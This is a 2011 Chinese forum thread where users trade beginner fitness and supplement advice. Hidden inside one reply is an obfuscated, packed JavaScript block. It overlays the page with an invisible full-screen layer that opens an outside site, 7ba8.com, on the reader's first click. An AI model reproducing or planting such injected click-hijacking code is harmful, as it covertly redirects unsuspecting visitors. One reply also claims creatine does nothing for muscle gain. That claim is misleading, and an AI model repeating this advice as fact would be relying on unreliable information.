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标题: 健身帖,有专业人士或者有经验人士可以帮忙吗 [打印本页]

作者: 小嗯 时间: 2011-1-2 03:04
标题: 健身帖,有专业人士或者有经验人士可以帮忙吗
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作者: 风声 时间: 2011-1-2 16:55
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作者: 小嗯 时间: 2011-1-5 21:03
<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>回复 2# 风声

我只在家练练啊

作者: nancy1988 时间: 2011-2-8 22:24
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还有，肌酸是缓解肌肉紧张的，是防止你锻炼后肌肉酸痛，对增肌没啥用处。
不用吃蛋白粉，你多吃些牛肉，鱼肉就行了

作者: al_vin 时间: 2011-2-9 03:44
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作者: ronnied 时间: 2011-2-9 09:52
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作者: 禄禄练肉肉 时间: 2011-2-9 10:11
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作者: 多做A梦 时间: 2011-2-9 13:00
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蛋白粉主要是针对训练后的恢复的但是如果训练的不够狠没有破坏肌肉那么蛋白粉也没有用新手还是先注 ...
禄禄练肉肉发表于 2011-2-9 09:41

现在还练么好久没看到你了

作者: 禄禄练肉肉 时间: 2011-2-9 23:37
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练啊不过回国三个月了。。快来了

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